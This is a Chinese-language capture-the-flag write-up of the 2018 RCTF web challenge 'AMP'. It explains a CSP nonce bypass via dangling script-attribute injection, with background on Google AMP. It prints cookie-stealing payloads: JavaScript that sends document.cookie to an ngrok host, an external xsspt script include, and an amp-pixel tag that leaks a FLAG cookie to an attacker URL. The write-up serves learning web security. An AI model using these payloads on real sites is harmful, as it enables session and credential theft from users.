它不是 XSS ——记 2018-RCTF一道WEB题:AMP

image
恰巧这一次的CTF还真没有关注,比赛完了之后,无意间看到了相关的writeup,大致浏览了下,觉得好像还是有点意思的,于是便趁着比赛环境还在,自己玩了玩。

打开题目地址http://amp.2018.teamrois.cn,可以看到以下这个页面,提示输入name作为请求参数。
image
试着输入http://amp.2018.teamrois.cn/?name=123,传入name参数,可以看到以下返回。
image
可以看到将我们传入的name参数输出到了页面,并且提示说我被攻击,还有一个“STOP TRACKING ME”的按钮,我们点击按钮,先开始一直没有反应,后面发现它使用了谷歌的recaptcha验证码
image
我们通过验证之后,得到
image
显示已经记录下了我们的request,并且联系了admin。
到这一步,就想到了CTF惯用套路。查看网络请求,果然在cookie中找到了提示信息:”flag_is_in_admin_cookie”。
image
综合以上信息:name参数会在页面输出;request会记录并发送给admin;flag_is_in_admin_cookie 。想当然的就以为是xss,所以接下来就开始测试name参数,http://amp.2018.teamrois.cn/?name=<script>alert('xss')</script>发现并没有弹窗,打开调试看一下
image
可见,其使用了内容安全策略(CSP)。
image
Content Security Policy(CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。通过定义一个名为Content-Security-Policy 的header来让浏览器仅载入可信域的资源文件,限制使用内联脚本,禁止页面中使用<script>标签,控制ajax请求域等等。
攻击者想要窃取数据,用户浏览器就必须和攻击者的某个地址进行通信,否则攻击者就没有办法接收到最终窃取到的信息结果,而CSP可以用来定义哪些域是被信任的,如果攻击者设定的域不属于被设定的信任域,那么信息就没有办法被偷出去。这样就起到了防御XSS的效果(如果想更深层次的了解CSP,可自行百度)。

此处的CSP设置了一个script-src值,该属性开启将对当前页面上可执行的JS源进行了限制。
image
从页面源代码可以看到,每一个引用的javascript代码(script标签)都有一个nonce字段,其value值是服务器端动态的生成字符串,只有包含nonce字段并且字符串值与服务端相等的script块才可以被执行。从上图中可以看出该实例中,nonce值固定不变。
我们下来就尝试绕过。

针对nonce的绕过,我们一般是利用页面上xss可利用点之后较近的js引用中的nonce字段值。举例来说就是:

对于以下代码

<p>xss插入点</p>
<script src="http://www.google.com/recaptcha/api.js" nonce="1dda8fc2ac73eaeff4292117028b4562">...</script>

我们可以在xss插入点,输入以下内容:

<script src="http://xxx.xxx.xxx.xxx/test.js" a="

此时,页面就变为:

<p><script src="http://xxx.xxx.xxx.xxx/test.js" a="</p><script src="http://www.google.com/recaptcha/api.js" nonce="1dda8fc2ac73eaeff4292117028b4562">...</script>

此时,我们可控的xss插入点已经包含了nonce字段值,进而绕过了CSP。
在本题中,我们使用xss平台构造,其中的自定义代码如下:
var img = document.createElement('img'); img.src = 'http://ec492eb4.ngrok.io/flag='+encodeURIComponent(document.cookie);
创建一个img标签,在标签的src中将cookie值作为flag参数值,来访问本地的ngrox。

我们构造的xss利用代码为:

http://amp.2018.teamrois.cn/?name=<script src="https://xsspt.com/Ov7T0a?15283" a="

访问上述链接,发现并没有自己想的那么简单,获得到的仍然是提示,并不是真正的flag值。

到这里,能想到的思路都试验了。回过头来发现这道题的题目是AMP,所以重新从AMP下手。

image

what

了解到:谷歌AMP(Accelerated Mobile Pages,加速的移动平台网页)是Google推出法人一种为静态内容构建 web 页面,提供可靠和快速的渲染,加快页面加载的时间,特别是在移动 Web 端查看内容的时间。也就是说,只要网页遵循我制定的一些规则,你的页面加载速度会更快,据说会有15% ~ 85%的性能提升。
AMP HTML 完全是基于现有 web 技术构建的,通过限制一些 HTML,CSS 和 JavaScript 部分来提供可靠的性能。这些限制是通过 AMP HTML 一个验证器强制执行的。为了弥补这些限制,AMP HTML 定义了一系列超出基础 HTML 的自定义元素来丰富内容。
百度有一个类似的MIP

why

1、利益受到了威胁。Google作为行业巨头,却发现互联网地位受到威胁,用Accelerated Mobile Pages(AMP)应战。

2、如果在移动端一个页面3秒钟还没有完成加载,那么有90%以上的访问者会关掉网页或者访问其他网页。随着网络的发展,移动web已经占领着大片市场,但移动web的性能却赶不上桌面web和移动app,越来越多的人抱怨移动web的性能网络的网速太慢。所以。

now

AMP目前的使用者,应该局限于大型的新闻网站,或者内容网站,例如博客。WordPress就支持AMP。

另外,谷歌也宣布了百度、搜狗、雅虎日本的搜索结果将会与“Accelerated Mobile Pages”(AMP,加速移动页面)直接对接,也就是说上述三大搜索引擎将会支持AMP。要知道,百度、搜狗在中国的搜索市场占有率,所以市场够乐观。

more

装个AMP检测的Chrome插件: AMP Validator
图标就是image
如果不是AMP页面,图标就是灰的。 如果是AMP页面且符合规范,就是绿色的,如果不符合规范,只是警告的红色。也阔以打开调试工具,查看elements,第一行长这样:image
在设计AMP html时头部也是这么写的。
AMP 的运作原理(自行查看)

AMP 文档,
AMP 指南
这些需要的童鞋前往官方网站就可以自行查看了。

回到这道题

我们也可以从控制台输出信息和网页原码都可以看出,这道题使用了AMP,引入了AMP的标签,也就引入了其标签的一些特性。
image

访问AMP官网https://www.ampproject.org/zh_cn/,我们阅读相关文档,注意到一些与本题相关的姿势点。

AMP 提供了以下两个组件,可满足您的分析和衡量需求:amp-pixelamp-analytics。两个组件都会将分析数据发送到定义的端点。
如果您只是跟踪诸如简单的跟踪像素之类的行为,则可以使用 amp-pixel 组件,它提供了基本的网页浏览跟踪功能;网页浏览数据将发送到定义的网址。某些与供应商的集成功能可能需要使用此组件,在这种情况下,这些集成功能将指定确切的网址端点。
在官方文档上,对amp-pixel标签有这样一个代码实例:

用户识别

网站使用 Cookie 在浏览器中存储与用户相关的信息。Cookie 可用于判断用户之前是否访问过某个网站。在 AMP 中,网页可通过发布商的网站加载,也可通过缓存(例如 Google AMP 缓存)加载。发布商的网站和缓存很可能具有不同的网域。为了安全起见,浏览器可能(并且通常)会限制访问其他网域的 Cookie(另请参阅跨来源跟踪用户)。

默认情况下,不管用户是从发布商的原始网站还是通过缓存访问网页,AMP 都将管理客户端 ID 的配置。AMP 生成的客户端 ID 的值为 “amp-“ 后跟一个随机 base64 编码字符串,如果同一用户再次访问某网页,该用户的客户端 ID 将保持不变。

在任何情况下,AMP 都负责管理客户端 ID 的读取和写入。当某个网页通过缓存加载或以其他方式显示在发布商原始网站浏览环境之外时,尤其需要注意这一点。在这种情况下,系统将无法访问发布商网站的 Cookie。

文档未由AMP代理服务时,备用cookie的名称,如果未提供,则cid作用域将用作cookie名称。在这种情况下,cid-scope-cookie-fallback-name 参数(属于 clientId 变量)将被解读为 Cookie 名称。格式可能显示为 CLIENT_ID(cid-scope-cookie-fallback-name) 或 ${clientId(cid-scope-cookie-fallback-name)}。

<amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(site-user-id-cookie-fallback-name)"></amp-pixel>

如果 AMP 发现此 Cookie 已设置,则客户端 ID 替换将返回 Cookie 的值。如果 AMP 发现此 Cookie 未设置,则 AMP 将生成一个值,格式为 amp- ,后跟一个随机 base64 编码字符串。

注意

发现它和cookie有关系了,看来就是它了。我们于是构建如下payload时:

<amp-pixel src="https://YOUR_WEBSITE/?cid=CLIENT_ID(FLAG)"></amp-pixel>

将会把cookie的FLAG的值赋值为变量值。
我们进行尝试
可以发现ngrok一直使用的是HTTPS,是因为这题中AMP的功能和标签要能生效,必须要能走https协议。

CTF不要妄下定论